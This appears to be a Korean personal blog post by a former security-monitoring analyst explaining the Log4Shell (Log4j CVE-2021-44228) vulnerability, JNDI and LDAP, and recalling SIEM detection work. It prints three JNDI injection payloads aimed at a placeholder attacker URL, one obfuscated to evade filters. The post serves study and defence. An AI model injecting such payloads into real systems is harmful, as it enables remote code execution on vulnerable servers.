디지털포렌식/악성코드 공부

Log4Shell(Log4j) 취약점

Lhaaan 2024. 2. 1. 16:55

지금은 대학원에와서 공부를 하고 있지만, 관제업무를 했을 당시 실제로 log4j 취약점이 터져서 많이 당황했던 기억이 있다. 그때 로그 확인하고 SIEM에 룰 설정하고, 로그 분석을 통해서 공격이 먹힌 흔적이 있는지, IPS, WAF에 룰 설정 되어있는지 확인하고, 난리도 아니였다. 담당자 분들은 당황하신거 같고... 암튼 여러모로 경험이 되었던 기억이 있다.

Log4Shell이란?


  • 보통 로그를 기록한다는 말은 컴퓨터에서 일어나는 모든 이벤트들을 기록하는것을 의미한다. Log4j는 JAVA를 통해 로그를 남기는 프로그램을 의미하며 Apache에서 만든 오픈소스 라이브러리이다.
  •  굉장히 많은 기업들이 사용하는 것으로 알 고 있으며, 매우 흔한 라이브러리이다.

 

Log4Shell 취약점


  • 이 취약점은 마인크래프트에서 발견된 0-day 취약점이었다. 자바언어로 개발된 마인크래프트에서 특정 페이로드를 입력하면 공격이 수행되는 것을 확인할 수 있었다.
  • 먼저 알아봐야할 것은 JNDI(Java Naming and Directory Interface)와 LDAP(Lightweight Directory Access Protocol)  이다.

 

  • JNDI란?
    • 디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup) 하기 위한 자바 API인데, 일반적으로 외부 디렉터리 서비스에 연결할때 주로 사용된다.
    • 리소스 이름으로 생성된 객체를 찾아서 쓸 수 있게 해주는 서비스 (직접 객체 생성 X)
    • 주로 데이터베이스에 연결할 때 가장 많이 쓰인다고 한다. 결국 백엔드 서버에 접근이 가능하다는 이야기로 볼 수 있다.

 

  • LDAP란?
    • 네트워크 상에서 조직이나, 조직 내 파일/개인정보/디바이스 정보 등을 찾아볼 수 있또록 하는 프로토콜로 이름 그대로 경량화된 프로토콜이다.

 

취약점 트리거

  • 그렇다면 취약점이 터지는 부분에 대해서 간략히 알아보면 Log4j는 로그 출력 시 로그에 사용자ID 등이 있다면, 자동으로 LDAP 서버에 접속하게 되고, JNDI lookup 로직을 수행하게 된다.
  • 결국 로그를 넣기만 하더라도 사이트의 디렉터리 서비스에 접속할 수 있다는 말이 된다. lookup을 수행하기 때문에 리소스 이름으로 생성된 객체를 반환해줄 것이고...
  • 어렵게 생각하지 말자 결국 RCE 취약점이 발생되는 것이다.
    • 페이로드를 간단히 확인해보자. ldap 말고도 rmi 프로토콜에서도 발생되는 것을 알 수 있다.
${jndi:rmi://공격자URL}
${jndi:ldap://공격자URL}
${jndi:${lower:l}${lower:d}a${lower:p}://공격자URL}
  • 관제 할 당시 SIEM에 jndi 문자열을 시그니처로 걸었던 기억이 난다.. 굉장히 러프하게 걸어놔서 문자열 오탐이 엄청 발생할 줄 알았는데, 많이 발생하진 않았다. 그리고 금융보안원에서 올려주는 시그니처도 계속 등록해놓았다.

 

 

참고


https://nvd.nist.gov/vuln/detail/CVE-2021-44228

https://btcd.tistory.com/1706

 

[DevOps] Log4j 란?

베하 안녕하세요! 금쪽상담소의 오은영석사와 금쪽이 입니다~ 추운겨울 잘 보내시고 계신가요? 감기 조심하시길 바라며 오늘의 주제인 Log4j에 대해 알아보도록 하겠습니다! Log4j 란? Log란 컴퓨터

btcd.tistory.com

https://y-oni.tistory.com/307

 

보안 취약점, Log4j란?

Log란? 시스템 측면에서, 우리는 특정 작업을 수행하기 위해 프로그램에서 사용할 수 있는 이전에 작성된 코드의 패키지인 "라이브러리"를 재사용하게 됩니다. 못을 박기 위해 망치를 새로 만드

y-oni.tistory.com

 

 

'디지털포렌식 > 악성코드 공부' 카테고리의 다른 글

CHM (Compiled HTML Help)  (0) 2024.01.25
HTA(HTML application)  (1) 2024.01.24
LNK 파일  (1) 2024.01.23